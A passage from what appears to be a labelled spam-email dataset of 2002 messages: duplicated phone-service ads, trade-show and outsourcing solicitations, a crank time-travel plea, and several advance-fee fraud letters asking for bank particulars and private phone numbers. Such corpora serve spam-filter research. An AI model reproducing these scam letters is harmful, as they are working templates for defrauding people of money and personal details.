24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: http://www.internationalfreecall.com If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. Please try dialing 1-866-865-4548. In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: 1-410-608-8178# Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. If you have any questions, please contact us for more information. In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: http://www.internationalfreecall.com In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! For more information on OPEX, or to sign up, please click below: http://cognigen.net/opex/main.cgi?lietuva To unsubscribe from this mailing list, please click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5576",1,1 Free Phone Calls! ,users@spamassassin.taint.org,"Sun, 31 Mar 2002 05:01:02 +0000",Your First 100 Free Minutes of Long Distance! Your First 100 Free,"Hello ~name~, If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: http://www.internationalfreecall.com If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. Please try dialing 1-866-865-4548. In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: 1-410-608-8178# Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. If you have any questions, please contact us for more information. In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: http://www.internationalfreecall.com In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! For more information on OPEX, or to sign up, please click below: http://cognigen.net/opex/main.cgi?lietuva To unsubscribe from this mailing list, please click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5587",1,1 Free Phone Calls! ,yyyy@netnoteinc.com,"Sun, 31 Mar 2002 05:01:02 +0000",Your First 100 Free Minutes of Long Distance! Your First 100 Free,"Hello ~name~, If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: http://www.internationalfreecall.com If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. Please try dialing 1-866-865-4548. In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: 1-410-608-8178# Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. If you have any questions, please contact us for more information. In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: http://www.internationalfreecall.com In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! For more information on OPEX, or to sign up, please click below: http://cognigen.net/opex/main.cgi?lietuva To unsubscribe from this mailing list, please click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=3.list&id=5590",1,1 webmaster@dk.com,yyyy7@netnoteinc.com,"Wed, 03 Apr 2002 07:38:56 +0000",Time Travelers PLEASE HELP!!!,"If you are a time traveler or alien disguised as human and or have the technology to travel physically through time I need your help! My life has been severely tampered with and cursed!! I have suffered tremendously and am now dying! I need to be able to: Travel back in time. Rewind my life including my age back to 4. I am in very great danger and need this immediately! I am aware of two types of time travel one in physical form and the other in energy form where a snapshot of your brain is taken using either the dimensional warp or the carbon copy replica device and then sends your consciousness back through time to part with your younger self. Please explain how safe and what your method involves. I have a time machine now, but it has limited abilitys and is useless without a vortex. If you can provide information on how to create vortex generator or where I can get some of the blue glowing moon crystals this would also be helpful. I am however concerned with the high level of radiation these crystals give off, if you could provide a shielding that would be great. I believe the vortex needs to be east-west polarized, North-south polarized vortexexs are used for cross-dimensional time travel only. Only if you have this technology and can help me exactly as mentioned please send me a (SEPARATE) email to: IneedTimeTravel@aol.com Please do not reply if your an evil alien! Thanks",1,0 Ayanda Maredi ,nospam@spamassassin.taint.org,"Wed, 3 Apr 2002 21:39:17 -0800",MY PLEA FOR ASSISTANCE PLEASE,"MR. AYANDA MAREDI DEPARTMENT OF MINERALS AND ENERGY PRETORIA, SOUTH AFRICA. Good morning, It is my great pleasure to write you this letter on behalf of my colleagues. I venture to write to you perhaps you will see it fit to assist my colleagues and I in all honesty as we attempt to seek your assistance. I have decided to seek a confidential co-operation with you in the execution of a deal hereunder for the benefit of all parties and hope you will keep it confidential because of the nature of this business. Within the Department of Minerals and Energy where I work as a Director of Audit and Project implementation, with the co-operation of two other top officials, we have in our possession an overdue payment in US funds. The said funds represent certain percentage of the contract value executed on behalf of my Department by a foreign contracting firm, which we the officials over-invoiced to the amount of US$29,200,000.00 (Twenty-Nine Million Two Hundred Thousand US Dollars). Though the actual contract cost has been paid to the original contractor, leaving the excess balance unclaimed. Since the present elected Government is determined to pay foreign contractors all debts owed, so as to maintain good relations with foreign governments and non-governmental agencies, we included our bills for approvals with the Department of Finance and the Reserve Bank of South Africa (RBSA). We are seeking your assistance to front as the beneficiary of the unclaimed funds, since we are not allowed to operate foreign accounts. Details and change of beneficiary information upon application for claim to reflect payment and approvals will be secured on behalf of You/your Company. I have the authority of my colleagues involved to propose that should you be willing to assist us in this transaction your share as compensation will be US$7.3m (25%) while my colleagues and I receive US$18.98m (65%) and the balance of US$2.92m (10%) for taxes and miscellaneous expenses incurred. This business is completely safe and secure, provided you treat it with utmost confidentiality. It does notmatter whether You/your Company does contract projects, as a transfer of powers will be secured in favour of You/your Company. Also, your specialization is not a hindrance to the successful execution of this transaction. I have reposed my confidence in you and hope that you will not disappoint us. Kindly notify me by telephone on 27-83-750 9598 or fax 27-73-219 9975 for further details upon your acceptance of this proposal. May God's blessings be with you even as you reply. Regards, MR. AYANDA MAREDI",1,0 """DR MARKUS PHILLIPS"" ",fork@spamassassin.taint.org,"Sun, 07 Apr 2002 03:25:35",BUSINESS ASSISTANCE,"Dear Sir. First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. all though i know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that all will be well at the end of the day.we have decided to contact you due to the urgency of this transaction, let me start by introducing myself properly to you. I am the Manager Bills and Exchange of Foreign Remittance Department of Union Bank of NIgeria (U.B.N. Headquarters Lagos Nigeria) formally Union Bank of Switzerland(UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$7. 5 million(Seven Million Five Hundred Thousand United States Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development, we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim.To this effect, I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money. We need !a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every document to be in accordance with the banking law and guidelines, So you have nothing to worry about.We have agreed that 20% of the money will be for you, 10% for expenses incurred on both sides, 10% will be donated to the charity organization while 60% will be for my colleagues and I. If you are going to help me, indicate by replying this letter and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS.I await your immediate reply to enable us start this transaction in earnest.Once I receive your reply, I will send you the Text of application for immediate application of Claim. Yours faithfully, DR MARKUS PHILLIPS. http://xent.com/mailman/listinfo/fork",1,1 """DR MARKUS PHILLIPS"" ",yyyy@spamassassin.taint.org,"Sun, 07 Apr 2002 03:25:36",BUSINESS ASSISTANCE,"Dear Sir. First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. all though i know that a transaction of this magnitude will make any one apprehensive and worried, but I am assuring you that all will be well at the end of the day.we have decided to contact you due to the urgency of this transaction, let me start by introducing myself properly to you. I am the Manager Bills and Exchange of Foreign Remittance Department of Union Bank of NIgeria (U.B.N. Headquarters Lagos Nigeria) formally Union Bank of Switzerland(UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$7. 5 million(Seven Million Five Hundred Thousand United States Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development, we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim.To this effect, I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money. We need !a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every document to be in accordance with the banking law and guidelines, So you have nothing to worry about.We have agreed that 20% of the money will be for you, 10% for expenses incurred on both sides, 10% will be donated to the charity organization while 60% will be for my colleagues and I. If you are going to help me, indicate by replying this letter and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS.I await your immediate reply to enable us start this transaction in earnest.Once I receive your reply, I will send you the Text of application for immediate application of Claim. Yours faithfully, DR MARKUS PHILLIPS.",1,0 Davida ,Undisclosed.Recipients@mandark.labs.netnoteinc.com,"Fri, 12 Apr 2002 22:17:17 +0100",Movie Project,"Hi Steph I have found the talent that you are looking for, check out www.piercebrosnanlookalike.com I found it last nite, he will be ideal for the movie, we should audition him next week. Let's do lunch next week call me. Davida",1,0 Free Phone Calls! ,users@spamassassin.taint.org,"Sat, 13 Apr 2002 04:01:03 +0000",How Does Unlimited Free Calling Work?,"Flat-Rate Unlimited Domestic Calling? How does it work? >From the registered phone line, you can call to any phone in the contiguous 48 States. You speed dial an access #, then you simply dial the number you wish to reach. That's it, how easy can it get? * What are the limits? The service is only for Voice communication, FAX or data transmissions are not supported. This is for normal residential or small business use. The only thing we ask is that you register your line correctly. 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To purchase this product, click on: http://www.internationalfreecall.com To take a 60 minute trial of this product, send your phone number to: 8228519@archwireless.net To remove yourself from this mailing list, click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1543",1,1 Free Phone Calls! ,yyyy@spamassassin.taint.org,"Sat, 13 Apr 2002 04:01:03 +0000",How Does Unlimited Free Calling Work?,"Flat-Rate Unlimited Domestic Calling? How does it work? >From the registered phone line, you can call to any phone in the contiguous 48 States. You speed dial an access #, then you simply dial the number you wish to reach. That's it, how easy can it get? * What are the limits? The service is only for Voice communication, FAX or data transmissions are not supported. This is for normal residential or small business use. The only thing we ask is that you register your line correctly. If you register as a residence and it is determined that the service has been used as a business we cannot continue to offer you the service. What's the price? The price of the service is determined by the available access number. With a local access number the residential service is $43.00. If we only offer toll free (800) access in your area then residential service is $63.00. No hidden fees, just one low monthly rate billed to your credit card or drafted from your bank account. What calling charges are covered? This service will eliminate any per minute charges for: In-state and State-to-state long distance It's all included... One Low Monthly Flat Rate for Unlimited Calling and 0 cents per minute!! To purchase this product, click on: http://www.internationalfreecall.com To take a 60 minute trial of this product, send your phone number to: 8228519@archwireless.net To remove yourself from this mailing list, click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1676",1,1 Free Phone Calls! ,yyyy@netnoteinc.com,"Sat, 13 Apr 2002 04:01:03 +0000",How Does Unlimited Free Calling Work?,"Flat-Rate Unlimited Domestic Calling? How does it work? >From the registered phone line, you can call to any phone in the contiguous 48 States. You speed dial an access #, then you simply dial the number you wish to reach. That's it, how easy can it get? * What are the limits? The service is only for Voice communication, FAX or data transmissions are not supported. This is for normal residential or small business use. The only thing we ask is that you register your line correctly. If you register as a residence and it is determined that the service has been used as a business we cannot continue to offer you the service. What's the price? The price of the service is determined by the available access number. With a local access number the residential service is $43.00. If we only offer toll free (800) access in your area then residential service is $63.00. No hidden fees, just one low monthly rate billed to your credit card or drafted from your bank account. What calling charges are covered? This service will eliminate any per minute charges for: In-state and State-to-state long distance It's all included... One Low Monthly Flat Rate for Unlimited Calling and 0 cents per minute!! To purchase this product, click on: http://www.internationalfreecall.com To take a 60 minute trial of this product, send your phone number to: 8228519@archwireless.net To remove yourself from this mailing list, click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1680",1,1 ,yyyy@netnoteinc.com,"Sat, 13 Apr 02 18:49:02 Arabian Standard Time",The Hotel Show,"LAST CHANCE TO EXHIBIT AT The Hotel Show 2002 20-22 May, 2002, Airport Expo Dubai, UAE With over 200 luxury hotels and resorts planned in the Middle East within the next 3-5 years, 'The Hotel Show' has established itself as the region's premier hospitality event for local & international companies wishing to meet directly with major players in the industry. Strong Industry Support 'The Hotel Show' is owned by the UK's Daily Mail Group, one of the world's largest media conglomerates with 350 exhibitions worldwide, including Index and Big 5 in Dubai. Held annually at the Airport Expo Dubai, 'The Hotel Show' receives full industry support from regional hospitality-related official bodies and associations such as the Dubai Department of Tourism & Commerce Marketing and the Kuwait Hotel Owner's Association, aswell as governmental organisations such as the Department of Trade & Industry in the U.K who ranked the event as one of the top10 hospitality events around the world. The Hotel Show 2002 Managed by Streamline Marketing, one of the region's leading event organisers, the 2002 event will feature over 150 exhibitors from 20 countries, showcasing a variety of products & services from hi-tech reservations systems to bed linen, tableware and furniture. Sambonet, Siemens, Frette Spa, Micros Fidelio, Villeroy & Boch, Bose and Grundig are just some of the international companies that will use 'The Hotel Show' as a showcase for meeting major players in the industry & making professional contacts. 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Should you require a list of exhibitors and a current floorplan, please contact the organisers immediately on 04-3329029 or laith@streamlineb2b.net Yours sincerely, Joanne Evans & Laith Kubba Directors Streamline Marketing",1,0 """IPOGEA"" ",,"Thu, 18 Apr 2002 20:19:49 +0200",Votre maintenance Informatique,"C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_003F_01C1E716.64A6E300 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0040_01C1E716.64A9F040"" ------=_NextPart_001_0040_01C1E716.64A9F040 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Si vous ne souhaitez plus recevoir ce courrier, cliquez ici=20 =20 mars 2002 OUBLIEZ VOS PROBLEMES=20 INFORMATIQUES DU QUOTIDIEN =20 Ordinateurs bloqu=E9s, Virus informatique, Perte de = donn=E9es, Connexion=20 Internet d=E9fectueuse, Imprimante d=E9configur=E9e, = Serveur en panne .=20 Votre entreprise ne peut plus rester bloqu=E9e pendant = plusieurs heures voire plusieurs jours.=20 =20 PROFITEZ D'UN INFORMATICIEN =20 A TEMPS PARTAGE=20 =20 Votre sp=E9cialiste informatique IPOGEA vous rend = visite plusieurs fois par mois et assure une maintenance adapt=E9e de = votre syst=E8me informatique. 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Software - Bucharest Ref.: Romanian Software Production & Export ------------------------------------------------------------------------ Our anti-spamming company policy: NEVER BOTHER YOU AGAIN To remove your E-mail address from the present contact list JUST DO NOT REPLY to this message. If you receive this message by mistake and/or you are not interested in the following brief presentation, please accept our apologies. This is a world-wide promotion campaign. The selected E-mail addresses are extracted only FROM THE COMMERCIAL WEBSITES of the targeted markets. ------------------------------------------------------------------------ We would like to offer you for consideration our brief presentation. We are looking for a marketplace in your country. To communicate with us please reply using the plain text format in the body of the message >>> mentioning your Specific Inquiry/Offering Demand <<< and your detailed contact information: >>> company name, address, phone & fax numbers, contact person. <<< Simple replies and advertisements will not be considered. We do not open any PC applications. If you answer to this message, we will contact you every 3 months in order to update our partners service database. Thank you for your time. Best regards, I.Q. Software Staff Dear customer, Please be so kind and review our Software Production export offer bellow: BRIEF EXPORT PROPOSAL Our area of interest is quality Software Production export at the lowest prices. The capabilities and references listed bellow show the advantages obtained by the institutions we worked for. WE WOULD LIKE YOU TO SEND US YOUR SPECIFIC INQUIRY/OFFERING DEMAND. This will give us the chance to prove our efficiency. Our company's name is I.Q. Software from Bucharest, and we are one of the most important Romanian software companies. The intense and almost exclusive cooperation with other foreign companies allowed us to increase our structure by developing new projects and systems. >From the begining we addressed to private companies as well as to public administration. Our projects were born in Italy, but afterwards they grew and shaped in Romania due to the high professionalism and commitment of the team that worked to bring to end these daring projects. Our success was posible due to the excellent teamwork, access to the latest high performace software and last but not the least to the low prices for production process on Romanian market. That is why we can confirm that the products we offer you are the most convenient on international market considering the high level of quality. Here are the best examples of our abilities to meet the clients needs on the specific task on there main areas: - software development; - man-power; - data-entry; - mapdrawing; - outsourcing. ******************************************************** * So that you would be able to have an idea of our skills we present you some of our current projects: The Situs System (Informative of Tribunals Bureaus of Supervision) was realized for informative administration of activities typical for Tribunals and Bureaus of Supervision for MINISTRY OF JUSTICE -ITALY (Microsoft Visual Basic 6.0, DataBase: Oracle 8.0). The ICE System foresaw the resigtering of the Italian-Romanian companies on Romanian territory. The application is constituted by a browser which allows the navigation and provides some additional skills, advanced search on varied criterious which are created in a dynamic way by the user (VisualBasic 6.0, DataBase: Access 97). Museum -the main request from the museum was to handle (multimedia) documents in specific formats on different operating system and platforms ( C++, HTML, CORBA IDL, ORB: Orbacus). Library (National Library of FIRENZE)- Informatical system for managing and labeling the ancient bibliographical materials (Power Builder, DataBase: Oracle). Interflora - Communication and management system; consists in some applications and services which allows the communication between the flowerist man from Italy and International Association of Flowerists (Visual Basic 6.0). Audit Office - The realization of a porting which foresaw 16 bit controls for substitution with 32 bit controls, introduction of new ActiveX controls, substitution of FORMULA 1 with native controls of VISUAL BASIC 6.0. UNICO - The program foresaw the possibility of acquisition from images of more than 60 models of UNICO and IVA (fiscal declarations) - (Delphi 4.0. DataBase:SQL). MINISTRY OF FINANCE - FISCAL DOCUMENTATION -The objective is the easy access to the Italian legislation and its consulting. The application based on a client/server architecture, using a network communication (SOCKETS) for data exchange with the server (Visual C++). FOREIGN MINISTRY - ECONOMICAL APPLICATION - This application is conceived as a group of projects. ADMINISTRATION BALANCE-SHEETS DISPOSITIONS OF PAYMENT FOREIGN EXPENSES SYNTHETICALLY DATES SERVERS (Visual Basic 6.0, DataBase: SQL Server 7.0) SOGEI - THE ADMINISTRATION OF THE CUSTOM HOUSES. This application is created for the financial administration of the peripherical offices at the customhouse (Java, HTML, DataBase: Oracle 8.0). ICCREA - Application of processing development of the bank-procedures on mainframe(COBOL/CICS/DB2). TELECOM - Microfilm Data Acquisition. Registering numbers and subscribers. ANAGRAFICA - Acquisition from images of dates and personal information. ITALIAN MINISTRY OF FINANCE - Data acquisition from images of medical prescription. IQ REGISTER - Acquisition of information from images and optics archives of documentation. * We had been offering for the entire Veneto Region, the following professional system engineers: AMBIENTE BULL GCOS 8: Systematical and special assistance in Interel RFM, SQL, Infoedge. AMBIENTE BULL/RETI: Systematical and special assistance of regional networks for Datanet, L.A.N., X.25, DSA, MAINWAY transmission, telematical networks. AMBIENTE UNIX: 2 UNIX system operators with knowledge of GCOS 6. * We have been offering for THE METEOROLOGY INSTITUTE OF PADOVA the following professional system engineers: AMBIENTE DIGITAL/UNIX: Systematical and special assistance for DEC VAX/VMS and UNIX systems with strong enough knowledge of Informix and C programming. AMBIENTE/DECNET/WINDOWS: Systematical and special assistance for DEC VAX/VMS and WINDOWS with knowledge in financial administration of local networks, in financial administration and configuration of communication systems (router, bridge, gateway, etc) and of products of exchange data, in financial administration and configuration of interface systems of Internet. ******************************************************** Therefore, to increase our presence to the international market we took part in the inter-governmental program between the United States and Romania. Thus, we participated to the international meeting of both Romanian and American IT companies on 1st November 2001 due to the kind initiative of both governments. The reason of this program, of the meeting mentioned above and of the initiatives that followed was to offer a new way for outsourcing, more convenient than the Indian one to American software companies. Our company, already present on American market, is interested to be a potential partner and one of most interested in cooperating with American IT companies. Our main interest is both on the American and European market. Our managing staff after visiting Italy managed to establish relations with this country for our curent projects. On the other side a marketing tour has already been established in the USA in the month of May for any possible projects. That is why we might be able to directly discuss with you any new project. We'd appreciate your feed-back containing detailed contact coordinates: company name, address, phone and fax numbers, contact person, web-site. Our Area of Interest: Software Production Export We wish to express our availability to work under the client's brand. PLEASE DON'T HESITATE TO SEND US YOUR SPECIFIC INQUIRY/OFFERING DEMAND. We'll be happy to provide you the lowest prices in the field. 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The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring,=20piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework,=20Sheeting for Roofing, Ceilings and Fa=E7ades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups,=20Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material,=20Hypodermic Syringes, Hemostatic Clamps, etc.=20 Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable=20production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World=20Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local=20resources (labor, some equipment, etc.) For more information: Mini-plants in mobile containers By Steven P. Leibacher, The Financial News, Editor Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de=20produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta dise=F1ado de forma que todas las maquinas de produccion van instaladas fijas=20sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento est=E1n listas=20para producir.=22=20 Mas de 700 sistemas de produccion portatil: Panaderias, Producci=F3n de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de=20hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de=20polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la=20construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de peque=F1as Plantas ensambladoras para fabricar en serie las Mini-plantas=20de produccion portatil, en el lugar, region o pais que lo necesite. Una de las caracter=EDsticas relevantes es el hecho de que dichas plantas quedaran conectadas al=20Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de=20comercio internacional.=20 Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi=20como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles Steven P. Leibacher, The Financial News, Editor ------------------------------------------------------------------------- If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor =A9 2002 The Financial News. All rights reserved. --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable The Financial News, May 2002 Production Mini-plants in mobile containers. Co-investment Program =22...Science Network will supply to countries and developing regions the technology and the necessary support for the production in series of Mini-plants in mobile containers (40-foot). The Mini-plant system is designed in such a way that all the production machinery is fixed on the platform of the container, with all wiring, piping, and installation parts; that is to say, they are fully equipped... and the mini-plant is ready for production.=22 More than 700 portable production systems: Bakeries, Steel Nails, Welding Electrodes, Tire Retreading, Reinforcement Bar Bending for Construction Framework, Sheeting for Roofing, Ceilings and Façades, Plated Drums, Aluminum Buckets, Injected Polypropylene Housewares, Pressed Melamine Items (Glasses, Cups, Plates, Mugs, etc.), Mufflers, Construction Electrically Welded Mesh, Plastic Bags and Packaging, Mobile units of medical assistance, Sanitary Material, Hypodermic Syringes, Hemostatic Clamps, etc. Science Network has started a process of Co-investment for the installation of small Assembly plants to manufacture in series the Mini-plants of portable production on the site, region or country where they may be required. One of the most relevant features is the fact that these plants will be connected to the World Trade System (WTS) with access to more than 50 million raw materials, products and services and automatic transactions for world trade. Because of financial reasons, involving cost and social impact, the right thing to do is to set up assembly plants in the same countries and regions, using local resources (labor, some equipment, etc.) For more information: Mini-plants in mobile containers By Steven P. Leibacher, The Financial News, Editor Mini-plantas de produccion en contenedores moviles. Programa de Co-inversion =22...Science Network suministrara a paises y regiones en vias de desarrollo la tecnologia y el apoyo necesario para la fabricacion en serie de Mini-plantas de produccion en contenedores moviles (40-foot). El sistema de mini-plantas esta diseñado de forma que todas las maquinas de produccion van instaladas fijas sobre la propia plataforma del contenedor, con el cableado, tuberias e instalaciones; es decir, completamente equipadas... y a partir de ese momento están listas para producir.=22 Mas de 700 sistemas de produccion portatil: Panaderias, Producción de clavos de acero, Electrodos para soldadura, Recauchutado de neumaticos, Curvado de hierro para armaduras de construccion, Lamina perfilada para cubiertas, techos y cerramientos de fachada, Bidones de chapa, Cubos de aluminio, Menaje de polipropileno inyectado, Piezas de melamina prensada (vasos, platos, tazas, cafeteras, etc.) Silenciadores para vehiculos, Malla electrosoldada para la construccion, Bolsas y envases de plastico, Unidades moviles de asistencia medica, Material sanitario (jeringas hipodermicas, Pinzas hemostaticas, etc.) Science Network ha puesto en marcha un proceso de Co-inversion para la instalacion de pequeñas Plantas ensambladoras para fabricar en serie las Mini-plantas de produccion portatil, en el lugar, region o pais que lo necesite. Una de las características relevantes es el hecho de que dichas plantas quedaran conectadas al Sistema del Comercio Mundial (WTS) con acceso a mas de 50 millones de mercancias, materia primas, productos, servicios y las operaciones automaticas de comercio internacional. Resulta obvio que por razones economicas, de costes y de impacto social, lo apropiado es instalar plantas ensambladoras en los mismos paises y regiones asi como utilizar los recursos locales (mano de obra, ciertos equipamientos, etc.) Para recibir mas infromacion: Mini-plantas de produccion en contenedores moviles Steven P. Leibacher, The Financial News, Editor ------------------------------------------------------------------------- If you received this in error or would like to be removed from our list, please return us indicating: remove or un-subscribe in 'subject' field, Thanks. Editor © 2002 The Financial News. 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In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$20 million(twenty million US Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development,we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim. To this effect,I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money.We need a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every documentto be in accordance with the banking law and guidelines, So you have nothing to worry about.We have agreed that 20% of the money will be for you, 10%for expenses incurred on both sides, 10% will be donated to the charity organization while 60% will be for my colleagues and I. If you are going to help me, indicate by replying this letter and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS. I await your immediate reply to enable us start this transaction in earnest. Once I receive your reply, I will send you the Text of Application for immediate Application of Claim. Thanks for your anticipated assistance. Yours faithfully, DR.WALTER IBE --=====================_889472414==_ Content-Type: text/html Content-Transfer-Encoding: 8bit UNION BANK OF NIG LTD. 35 MARINA, LAGOS ISLAND DEAR Sir, First, I must solicit your confidence in this transaction, this is by virture of its nature as being utterly confidencial and top secret. though i know that a transaction of this magnitude will make any one apprehensive and worried, but i am assuring you that all will be well at the end of theday. we have decided to contact you due to the urgency of this transaction,let me start by introducing myself properly to you. I am the manager Bills and Exchange of Foreign Remittance department of Union Bank of NIgeria (U.B.N. Headquarters Lagos NIgeria) formally Union Bank of Switzerland (UBS-AG Zurich Switzerland). In accordance with Federal Government Policies on indiginalization Law on company and Allied matters of Jan 1977. I am writing you this letter to ask for your support and co-operation to carry out this transaction.We discovered an abandoned sum of US$20 million(twenty million US Dollars) in an account that belongs to one of our Foreign customer who died along side his entire family in November 1997 in a plane crash. Since this development,we have advertised for his next of kin or any close relation to come forward to claim this money, but nobody came to apply for the claim. To this effect,I and two other officials in my department, have decided to look for a trusted foreign partner who can stand in as the next of kin to the deceased and claim this money.We need a foreign partner to apply for the claim because of the fact that the customer was a foreigner and we don't want this money to go into the Banks Treasury as unclaimed fund. Every document to affect this process will emanate from my table and I will perfect every documentto be in accordance with the banking law and guidelines, So you have nothing to worry about.We have agreed that 20% of the money will be for you, 10%for expenses incurred on both sides, 10% will be donated to the charity organization while 60% will be for my colleagues and I. If you are going to help me, indicate by replying this letter and putting in your BANK PARTICULARS, PRIVATE TELEPHONE AND FAX NUMBERS. I await your immediate reply to enable us start this transaction in earnest. Once I receive your reply, I will send you the Text of Application for immediate Application of Claim. Thanks for your anticipated assistance. Yours faithfully, DR.WALTER IBE --=====================_889472414==_--",1,0 """Dr. Osaro Ame"" 